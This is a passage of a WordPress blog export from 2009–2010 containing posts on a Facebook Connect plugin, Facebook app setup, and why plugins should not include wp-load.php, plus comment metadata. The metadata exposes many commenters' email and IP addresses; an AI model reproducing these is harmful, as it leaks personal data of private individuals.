    Internally, the plugin uses the Facebook PHP library to get the necessary data from Facebook, so there's no need to have any odd javascript or ajax requests to make the system work. Because of the use of this Facebook code, PHP 5 is required to use this plugin. However, the Facebook code includes a JSON library (if you don't have one already loading), which means that if you activate this plugin, it's quite probable that the whole SFC system will run on WordPress 2.8, even if it wouldn't before. Of course, since 2.9 was just released, this is not as big of a deal, really. The plugin also uses the WordPress Transients API as a caching mechanism, so that it only asks Facebook for the fan count a maximum of once per hour. The Transients API was introduced in 2.8, and so the plugin should still work okay if you haven't upgraded to 2.9 yet. And if you can come up with any other good Facebook plugin ideas, let me know. SFC has proven to be an easy platform for building simple Facebook plugins on top of, so they can probably be produced pretty quickly and easily. :)

    Installation

    If you haven't installed SFC yet, then this chicklet is part of the package. Just download it and install from here: http://wordpress.org/extend/plugins/simple-facebook-connect/ Alternatively, in a WordPress installation, just go to the "Plugins->Add New" area and search for "Simple Facebook Connect". You can install the package directly from there. If you already are using SFC 0.8, then you only need the new file. You can download it separately here: http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php Just drop it into your /wp-content/plugins/simple-facebook-connect directory, then activate it in the Plugins panel.]]>
    633 2009-12-22 11:13:56 2009-12-22 17:13:56 open open sfc-chicklet publish 0 0 post 0 aktt_notify_twitter no _aktt_hash_meta _edit_lock 1262883288 _edit_last 1 btc_comment_counts a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"2";s:7:"enabled";s:1:"1";}} btc_comment_summary a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"2";s:7:"enabled";s:1:"1";}} btc_post a:6:{s:2:"ID";s:3:"633";s:13:"post_date_gmt";s:19:"2009-12-22 17:13:56";s:23:"initial_import_date_gmt";s:19:"2009-12-22 17:15:21";s:20:"last_import_date_gmt";s:19:"2010-01-11 15:15:51";s:4:"hits";s:1:"2";s:6:"misses";s:3:"258";} btc_twitter 7193 btc_twitter 7148 7148 http://twitter.com/ottodestruct 2009-12-22 11:14:26 2009-12-22 17:14:26 SFC Chicklet http://goo.gl/fb/Srrq

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7150 718653202@facebook.com http://www.facebook.com/profile.php?id=718653202 77.96.160.210 2009-12-22 14:22:45 2009-12-22 20:22:45 1 0 0 7151 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-22 14:24:13 2009-12-22 20:24:13 1 7150 1 7193 http://twitter.com/planetwp 2009-12-23 00:56:39 2009-12-23 06:56:39 Nothing to see here: SFC Chicklet http://goo.gl/fb/fItS

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7207 what@what-what.net http://what-what.net 122.168.205.146 2010-01-07 11:31:07 2010-01-07 17:31:07 1 0 0
    Main Application Screen http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/apphelp1/ Mon, 01 Feb 2010 16:57:59 +0000 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp1.png 656 2010-02-01 10:57:59 2010-02-01 16:57:59 open open apphelp1 inherit 655 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp1.png _wp_attached_file 2010/02/apphelp1.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"761";s:6:"height";s:3:"404";s:14:"hwstring_small";s:23:"height='67' width='128'";s:4:"file";s:20:"2010/02/apphelp1.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:19:"apphelp1-150x79.png";s:5:"width";s:3:"150";s:6:"height";s:2:"79";}s:6:"medium";a:3:{s:4:"file";s:20:"apphelp1-300x159.png";s:5:"width";s:3:"300";s:6:"height";s:3:"159";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Main Application Screen btc_comment_counts a:0:{} Application name http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/apphelp2/ Mon, 01 Feb 2010 16:58:07 +0000 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp2.png 657 2010-02-01 10:58:07 2010-02-01 16:58:07 open open apphelp2 inherit 655 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp2.png _wp_attached_file 2010/02/apphelp2.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"704";s:6:"height";s:2:"93";s:14:"hwstring_small";s:23:"height='16' width='128'";s:4:"file";s:20:"2010/02/apphelp2.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:19:"apphelp2-150x19.png";s:5:"width";s:3:"150";s:6:"height";s:2:"19";}s:6:"medium";a:3:{s:4:"file";s:19:"apphelp2-300x39.png";s:5:"width";s:3:"300";s:6:"height";s:2:"39";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Application name btc_comment_counts a:0:{} Basic Information http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/apphelp3/ Mon, 01 Feb 2010 16:58:14 +0000 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp3.png 658 2010-02-01 10:58:14 2010-02-01 16:58:14 open open apphelp3 inherit 655 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp3.png _wp_attached_file 2010/02/apphelp3.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"700";s:6:"height";s:3:"284";s:14:"hwstring_small";s:23:"height='51' width='128'";s:4:"file";s:20:"2010/02/apphelp3.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:19:"apphelp3-150x60.png";s:5:"width";s:3:"150";s:6:"height";s:2:"60";}s:6:"medium";a:3:{s:4:"file";s:20:"apphelp3-300x121.png";s:5:"width";s:3:"300";s:6:"height";s:3:"121";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Basic Information btc_comment_counts a:0:{} Contact Information http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/apphelp4/ Mon, 01 Feb 2010 16:58:20 +0000 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp4.png 659 2010-02-01 10:58:20 2010-02-01 16:58:20 open open apphelp4 inherit 655 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp4.png _wp_attached_file 2010/02/apphelp4.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"695";s:6:"height";s:3:"342";s:14:"hwstring_small";s:23:"height='62' width='128'";s:4:"file";s:20:"2010/02/apphelp4.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:19:"apphelp4-150x73.png";s:5:"width";s:3:"150";s:6:"height";s:2:"73";}s:6:"medium";a:3:{s:4:"file";s:20:"apphelp4-300x147.png";s:5:"width";s:3:"300";s:6:"height";s:3:"147";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Contact Information btc_comment_counts a:0:{} Authentication Settings http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/apphelp5/ Mon, 01 Feb 2010 16:58:28 +0000 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp5.png 660 2010-02-01 10:58:28 2010-02-01 16:58:28 open open apphelp5 inherit 655 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp5.png _wp_attached_file 2010/02/apphelp5.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"695";s:6:"height";s:3:"222";s:14:"hwstring_small";s:23:"height='40' width='128'";s:4:"file";s:20:"2010/02/apphelp5.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:19:"apphelp5-150x47.png";s:5:"width";s:3:"150";s:6:"height";s:2:"47";}s:6:"medium";a:3:{s:4:"file";s:19:"apphelp5-300x95.png";s:5:"width";s:3:"300";s:6:"height";s:2:"95";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Authentication Settings btc_comment_counts a:0:{} Connect Settings http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/apphelp6/ Mon, 01 Feb 2010 16:58:36 +0000 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp6.png 661 2010-02-01 10:58:36 2010-02-01 16:58:36 open open apphelp6 inherit 655 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp6.png _wp_attached_file 2010/02/apphelp6.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"688";s:6:"height";s:3:"227";s:14:"hwstring_small";s:23:"height='42' width='128'";s:4:"file";s:20:"2010/02/apphelp6.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:19:"apphelp6-150x49.png";s:5:"width";s:3:"150";s:6:"height";s:2:"49";}s:6:"medium";a:3:{s:4:"file";s:19:"apphelp6-300x98.png";s:5:"width";s:3:"300";s:6:"height";s:2:"98";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Connect Settings btc_comment_counts a:0:{} Application Profile http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/apphelp7/ Mon, 01 Feb 2010 16:58:44 +0000 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp7.png 662 2010-02-01 10:58:44 2010-02-01 16:58:44 open open apphelp7 inherit 655 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp7.png _wp_attached_file 2010/02/apphelp7.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"567";s:6:"height";s:3:"262";s:14:"hwstring_small";s:23:"height='59' width='128'";s:4:"file";s:20:"2010/02/apphelp7.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:19:"apphelp7-150x69.png";s:5:"width";s:3:"150";s:6:"height";s:2:"69";}s:6:"medium";a:3:{s:4:"file";s:20:"apphelp7-300x138.png";s:5:"width";s:3:"300";s:6:"height";s:3:"138";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Application Profile btc_comment_counts a:0:{} Advanced Settings http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/apphelp8/ Mon, 01 Feb 2010 16:58:50 +0000 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp8.png 663 2010-02-01 10:58:50 2010-02-01 16:58:50 open open apphelp8 inherit 655 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp8.png _wp_attached_file 2010/02/apphelp8.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"687";s:6:"height";s:3:"134";s:14:"hwstring_small";s:23:"height='24' width='128'";s:4:"file";s:20:"2010/02/apphelp8.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:19:"apphelp8-150x29.png";s:5:"width";s:3:"150";s:6:"height";s:2:"29";}s:6:"medium";a:3:{s:4:"file";s:19:"apphelp8-300x58.png";s:5:"width";s:3:"300";s:6:"height";s:2:"58";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Advanced Settings btc_comment_counts a:0:{} How to Setup your Facebook Connect Application http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/ Mon, 01 Feb 2010 17:21:45 +0000 http://ottodestruct.com/blog/?p=655 Simple Facebook Connect plugin is questions regarding how to setup their Facebook Application. It's really not that hard to do, but the plethora of options can seem somewhat intimidating. So here's the basics of what you need to do. After creating your application, you'll need to visit the Apps section in the Facebook Developer Home area. Here you'll find your application, and the all critical "Edit Settings" link. Main Application Screen Firstly, never give out your Application Secret. If you give this out by accident, then use the Reset Secret Key link to get a new one. Anyway, from here, you want to go into the settings. The settings area is divided into six main sections, but most of the settings are irrelevant. See, you're building a "Connect" application, not a "Canvas" one. So most of these are meaningless for you. The following ones are what you actually care about: Application name Obviously, you want the name of your Application to make sense. I suggest using the same name as your website. You can even use your domain name here if you like. Just be aware that this name is what the Fans of your site will see in their Applications area. Basic Information The Basic Information section is important as well, fill it in as you see fit. I also recommend uploading good icons and/or logos for your site. Gives it that finished look. Contact Information Contact Information is obviously important as well, but don't worry about all those extra URLs. They really apply more to Canvas apps. Of course, if you want to make special pages on your site for them and provide the URLs here, feel free. Authentication Settings The Authentication Settings page is surprisingly important. Those top two boxes need to be unchecked for a Facebook Connect application. Why? Because when they are unchecked, your Application becomes an "External Website" as far as Facebook is concerned. If you have either them checked, then your app's Canvas section becomes active and you might have users trying to add it to their profiles and such, resulting in broken pages and a general bad user experience. Connect Settings The Connect Settings page is probably the most important one. These settings must be filled in and they must be absolutely accurate. Specifically, the URLs must be the URLs that are actually used by your site. Capitalization matters. The leading "www" or lack of one matters. Whatever the URL your site is in the browser is what you MUST put into these fields. Anything less and your site will not work. Advanced Settings The Advanced Settings screen contains these three fields which you need to set in the same way I did. The email domain should be your own domain, obviously. This field must be filled in for you to get real user emails on your Connected site. Without this, you only get proxied emails through Facebook. Application Profile Finally, after you have saved those settings, take the time to go back to the main application screen and click the "Edit Application Profile" link. You'll be taken here, where you can set up the "look" of your application page on Facebook. This includes what tabs are visible, the stuff in the Info section, etc. You can add extra Applications tabs to this page and generally customize all sorts of stuff. None of that affects your site, but it does affect how the App Page looks in Facebook. The more polished it is, the more likely people will "Fan" your Application. And Fans get updates from when you publish posts to the Wall. Great way to drive traffic to your content. Hope this helps! Mainly, I hope this reduces the number of questions I get about this process. Enjoy SFC!]]> 655 2010-02-01 11:21:45 2010-02-01 17:21:45 open open how-to-setup-your-facebook-connect-application publish 0 0 post 0 _edit_lock 1268063472 _edit_last 1 btc_comment_counts a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"2";s:7:"enabled";s:1:"1";}} btc_comment_summary a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"2";s:7:"enabled";s:1:"1";}} btc_post a:6:{s:2:"ID";s:3:"655";s:13:"post_date_gmt";s:19:"2010-02-01 17:21:45";s:23:"initial_import_date_gmt";s:19:"2010-02-01 17:26:10";s:20:"last_import_date_gmt";s:19:"2010-02-21 15:45:57";s:4:"hits";s:1:"2";s:6:"misses";s:3:"254";} btc_twitter 7417 btc_twitter 7421 _fb_post_id_profile 531132304_5003869423615 7432 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-03 08:45:37 2010-02-03 14:45:37 1 7429 1 7433 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-03 08:47:35 2010-02-03 14:47:35 1 7431 1 7431 kcristiano@gmail.com 216.139.132.18 2010-02-03 07:50:19 2010-02-03 13:50:19 function sfcShowPubButtons() { jQuery('#sfc-publish-buttons').html(''); } But am not sure how to fix this. Any ideas? Thanks again.]]> 1 0 0 7429 calbryan@gmail.com 75.149.45.221 2010-02-03 03:43:44 2010-02-03 09:43:44 1 0 0 7417 http://twitter.com/ottodestruct 2010-02-01 11:42:41 2010-02-01 17:42:41 How to Setup your Facebook Connect Application http://goo.gl/fb/mLii

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7421 http://twitter.com/planetwp 2010-02-01 19:53:53 2010-02-02 01:53:53 Nothing to see here: How to Setup your Facebook Connect Application http://goo.gl/fb/XgtQ

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7436 info@playmos.it 88.81.165.62 2010-02-03 10:39:07 2010-02-03 16:39:07 1 7432 0 7437 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-03 10:42:36 2010-02-03 16:42:36 1 7436 1 7438 info@playmos.it 88.81.165.62 2010-02-03 11:03:12 2010-02-03 17:03:12 1 7437 0 7440 kcristiano@gmail.com 216.139.132.18 2010-02-03 11:15:37 2010-02-03 17:15:37 1 7433 0 7442 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-03 11:18:27 2010-02-03 17:18:27 1 7440 1 7448 kcristiano@gmail.com 68.36.252.100 2010-02-03 22:35:15 2010-02-04 04:35:15 Plugin could not be activated because it triggered a fatal error. Parse error: syntax error, unexpected '<' in C:\inetpub\wwwroot\wp-dev\httpdocs\wp-content\plugins\simple-facebook-connect\sfc.php on line 78 I looked at sfc.php and a closing tags was missing after line 78: Index: sfc.php =================================================================== --- sfc.php (revision 201675) +++ sfc.php (working copy) @@ -75,6 +75,7 @@ echo ''; else echo ''; +?> <?php I will test, but I am still having issues connecting to facebook's fan pages (even though fb claims the feed is is fixed...) Thanks for working on this.]]> 1 7442 0 7492 kcristiano@gmail.com 68.36.252.100 2010-02-07 21:11:10 2010-02-08 03:11:10 1 7442 0 7597 tschwim@hotmail.com http://www.facebook.com/gamingangel 71.105.80.121 2010-02-13 00:39:01 2010-02-13 06:39:01 1 0 0 7610 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-15 09:00:57 2010-02-15 15:00:57 1 7597 1 7623 webdad3@yahoo.com 75.81.179.109 2010-02-15 15:12:11 2010-02-15 21:12:11 1 0 0 7624 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-15 15:19:58 2010-02-15 21:19:58 1 7623 1 7875 jumbomusicgroup@mac.com http://www.nswparents.net/ 71.254.130.22 2010-03-24 16:32:36 2010-03-24 21:32:36 1 0 0 7877 chris@vidermskincare.com 76.97.136.55 2010-04-02 09:46:44 2010-04-02 14:46:44 1 0 0 7761 public@doncho.net http://blog.doncho.net 87.126.145.29 2010-02-28 02:43:55 2010-02-28 08:43:55 required me to add it, otherwise it was claiming the settings are wrong). Nevertheless, the plugin still does not work. When I click "Login", I get "Connect with Facebook" button. But when I click it, it just "does something" and then returns me back on the Login field. Can you help? (Plus, I can see that it does not work with your site as well, no matter how much I'm trying to post this comment, while "Connected with Facebook", it never got posted)]]> 1 0 0 7763 delcurtech@yahoo.com http://nadayag-halibas.com 68.118.42.21 2010-03-01 00:58:19 2010-03-01 06:58:19 1 0 0 7764 public@doncho.net http://blog.doncho.net 94.245.127.13 2010-03-01 01:33:18 2010-03-01 07:33:18 1 7763 0 7766 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-01 09:09:50 2010-03-01 15:09:50 1 7764 1 7767 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-01 09:12:03 2010-03-01 15:12:03 your FB user.]]> 1 7764 1 7768 otto@ottodestruct.com http://www.facebook.com/otto42 169.198.254.6 2010-03-01 09:16:26 2010-03-01 15:16:26 1 7763 0 7785 0jci3c@gmail.com http://www.facebook.com/profile.php?id=100000831507049 89.79.107.102 2010-03-03 13:37:25 2010-03-03 19:37:25 1 0 0 7786 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-03 13:57:29 2010-03-03 19:57:29 1 7785 1 7818 delcurtech@yahoo.com http://nadayag-halibas.com 68.118.42.21 2010-03-04 13:28:18 2010-03-04 19:28:18 1 0 0 7819 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-04 13:51:08 2010-03-04 19:51:08 1 7818 1 7843 mrtbradley@hotmail.com http://thegamesingredients.net/ 81.96.236.93 2010-03-05 17:37:13 2010-03-05 23:37:13 1 0 0 7854 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-08 09:00:37 2010-03-08 15:00:37 1 7843 1 7872 jeff.vaccaro@gmail.com http://www.facebook.com/jvaccaro 75.81.179.109 2010-03-18 15:24:37 2010-03-18 20:24:37 1 0 0
    Don't include wp-load, please. http://ottodestruct.com/blog/2010/dont-include-wp-load-please/ Tue, 09 Feb 2010 17:24:32 +0000 http://ottodestruct.com/blog/?p=667 http://ottopress.com/2010/dont-include-wp-load-please/. Take your comments there. Time for Otto's general griping: WordPress plugin programming edition. Here's a practice I see in plugins far too often:
    1. Plugin.php file adds something like this to the wp_head: [html]<script src='http://example.com/wp-content/plugins/my-plugin/script.js.php'>[/html]
    2. Script.js.php has code like the following: [php] <?php include "../../../wp-load.php"; ?> ... javascript code ... [/php]
    The reason for this sort of thing is that there's some option or code or something that the javascript needs from the database or from WordPress or whatever. This PHP file is, basically, generating the javascript on the fly. Usually, the case for this turns out to be something minor. The code needs the value from an option, or some flag to turn it on or off. Or whatever. Problem is that finding wp-load.php can be a bit of a chore. I've seen extreme efforts to find and load that file in plugins before, including searching for it, examining the directory structure to make decent guesses, etc. This sort of thing has existed even before wp-load.php came around, with people trying to load wp-config.php themselves and such. But the real problem is simpler: This is always the wrong way to do it.

    Why this is wrong

    1. You don't have the first clue where wp-load.php actually is. Both the plugin directory and the wp-content directory can be moved around in the installation. ALL the WordPress files could be moved about in this manner, are you going to search around for them?
    2. You've instantly doubled the load on that server. WordPress and the PHP processing of it all now have to get loaded twice for every page load. Once to produce the page, and then again to produce your generated javascript.
    3. You're generating javascript on the fly. That's simply crap for caching and speed and such.
    The right way? Well, there's two options.

    Right Way the First

    Generate your options separately, put them in using wp_print_scripts. Examine this pseudo-code: [php] add_action('wp_print_scripts','myscript'); function myscript() { ?> <script type="text/javascript"> var plugin_option= <?php echo json_encode(get_option('plugin_option')); ?>; </script> <?php } wp_enqueue_script('myscript','...myscript.js',...); [/php] Basically, the plugin option value is inserted directly into the page. The myscript.js file that loads shortly afterwards can use this value however it likes. Why this is better:
    1. No searching for wp-load.php.
    2. The javascript is static, only your options are variable. No added load on the site.
    3. Static scripts mean you get great speed from caching.
    Sidenote: Note the use of json_encode? You should always use this when producing javascript variables from PHP variables. It handles quoting and escaping and everything for you. It can even turn PHP arrays into javascript arrays nicely! Handy for storing all your options in one place. What if you have a ton of plugin options though? What if you really WANT to generate that javascript on-the-fly?

    Right Way the Second

    Generate the javascript from a call to WordPress itself, not to a separate file. Examine this pseudo-code: [php] add_filter('query_vars','plugin_add_trigger'); function plugin_add_trigger($vars) { $vars[] = 'plugin_trigger'; return $vars; } add_action('template_redirect', 'plugin_trigger_check'); function plugin_trigger_check() { if(intval(get_query_var('plugin_trigger')) == 1) { ?> function javascript_code() { ... } <?php exit; } } [/php] That code does something a little clever. Basically it's adding a new query variable to be used as the "trigger". When the trigger gets pulled, a bunch of javascript is generated, then the code *exits*, stopping WordPress from proceeding any further. So, with that code in a plugin, a call to http://example.com/?plugin_trigger=1 will now produce your javascript code. This is running entirely within the content of a WordPress call, so you get all the WP functions and database access with which you can generate your code as well. Thus, you can happily put your [html]<script src="http://example.com/?plugin_trigger=1">[/html] code into the page and it'll load up that "file" just fine. Why this is better:
    1. No searching for load.php
    2. ... Well, okay, there is no other reason. The load problem still exists, and your caching issues still exist. You're programmatically generating code here, after all. It's not a particularly good practice to do. Still, sometimes this is easier and faster to develop, even if it's never actually "necessary".
    Also see that while I'm using the number 1 there as the value I'm checking for, that value can be anything you like. If you want to be a smartass about it and have all sorts of different things that could be generated, you can do them all with that one trigger. It's still a generally bad idea because of the added load, but hey, maybe you have a legitimate reason. I've seen one or two valid reasons to do this before.

    Wrap up

    Also note all of the above also applies to "generating" CSS code. It's just as unnecessary. Usually more so. So please, stop including wp-load. It's just wrong. Let WordPress load itself, and make your plugin do the output it needs to produce in the right places.]]>
    667 2010-02-09 11:24:32 2010-02-09 17:24:32 closed closed dont-include-wp-load-please publish 0 0 post 0 _edit_lock 1269444245 _edit_last 1 _syntaxhighlighter_encoded 1 btc_comment_counts a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"9";s:7:"enabled";s:1:"1";}} btc_comment_summary a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:2:"32";s:7:"enabled";s:1:"1";}} btc_post a:6:{s:2:"ID";s:3:"667";s:13:"post_date_gmt";s:19:"2010-02-09 17:24:32";s:23:"initial_import_date_gmt";s:19:"2010-02-09 17:25:58";s:20:"last_import_date_gmt";s:19:"2010-03-01 16:25:22";s:4:"hits";s:2:"30";s:6:"misses";s:3:"242";} _fb_post_id_profile 531132304_5003895742853 btc_twitter 7503 btc_twitter 7509 btc_twitter 7515 btc_retweet 7520 btc_twitter 7520 btc_retweet 7521 btc_twitter 7521 btc_retweet 7522 btc_twitter 7522 btc_retweet 7523 btc_twitter 7523 btc_retweet 7524 btc_twitter 7524 btc_twitter 7525 btc_retweet 7527 btc_twitter 7527 btc_retweet 7528 btc_twitter 7528 btc_twitter 7529 btc_retweet 7530 btc_twitter 7530 btc_retweet 7531 btc_twitter 7531 btc_retweet 7532 btc_twitter 7532 btc_retweet 7533 btc_twitter 7533 btc_retweet 7534 btc_twitter 7534 btc_retweet 7535 btc_twitter 7535 btc_twitter 7537 btc_twitter 7538 btc_twitter 7539 btc_retweet 7540 btc_twitter 7540 btc_retweet 7542 btc_twitter 7542 btc_retweet 7544 btc_retweet 7546 btc_twitter 7544 btc_twitter 7546 btc_retweet 7547 btc_twitter 7547 btc_retweet 7549 btc_twitter 7549 btc_retweet 7551 btc_twitter 7551 btc_retweet 7552 btc_twitter 7552 btc_retweet 7554 btc_twitter 7554 btc_twitter 7558 btc_retweet 7662 btc_twitter 7662 _revision-control 0 7502 tunamaxx@yahoo.com 70.70.19.64 2010-02-09 13:41:46 2010-02-09 19:41:46 1 0 0 7503 http://twitter.com/xentek 2010-02-09 13:58:29 2010-02-09 19:58:29 This is the biggest rookie mistake when it comes to coding WP Plugins: http://ottodestruct.com/blog/2010/dont-include-wp-load-please/

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7504 frank@bueltge.de http://bueltge.de/ 87.171.58.245 2010-02-09 14:05:35 2010-02-09 20:05:35 1 0 0 7505 if.website@gmail.com http://ilfilosofo.com 98.193.203.99 2010-02-09 14:06:54 2010-02-09 20:06:54 1 0 0 7506 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-09 14:12:33 2010-02-09 20:12:33 1 7505 1 7509 http://twitter.com/easilyamused 2010-02-09 14:20:43 2010-02-09 20:20:43 This is the biggest rookie mistake when it comes to coding WP Plugins: http://bit.ly/9myiQM (via @xentek)

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7510 if.website@gmail.com http://ilfilosofo.com 98.193.203.99 2010-02-09 14:26:51 2010-02-09 20:26:51 But then again, sometimes you need the main query. In which case you’d want to hook to the template loader as I’ve shown. If you need the main query, then skip the parsing and just call query_posts() directly. Since you already know what results you want, there's never a need for wp() to parse the request that you're making. The whole point of parsing is to determine the purpose of the request, which the "plugin_trigger" argument has already sufficiently determined.]]> 1 7506 0 7557 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-10 09:01:10 2010-02-10 15:01:10 1 7536 1 7512 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-09 14:38:08 2010-02-09 20:38:08 1 7510 1 7513 mail@tobias.baethge.com 79.216.121.162 2010-02-09 14:55:07 2010-02-09 20:55:07 html = jquery.get('http://www.example.com/.../plugins/.../my-ajax.php'); and my-ajax.php calls wp-load.php). This obviously has the same problems and disadvantages. Unfortunately I have not found any good posts/tutorials on the correct alternatives (well ok, found some older ones, but they don't take into account the latest developments on non-logged-in actions). Thus, I wondered, if you know any such tuturials (or maybe could write one in addition to this post here), as you seem to know the trouble of wp-load.php pretty well. Regards, Tobias]]> 1 0 0 7514 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-09 14:57:10 2010-02-09 20:57:10 1 7513 1 7515 http://twitter.com/planetwp 2010-02-09 15:31:25 2010-02-09 21:31:25 Nothing to see here: Don’t include wp-load, please. http://goo.gl/fb/t8R1

    This comment was originally posted on Twitter

    ]]>
    1 0 0
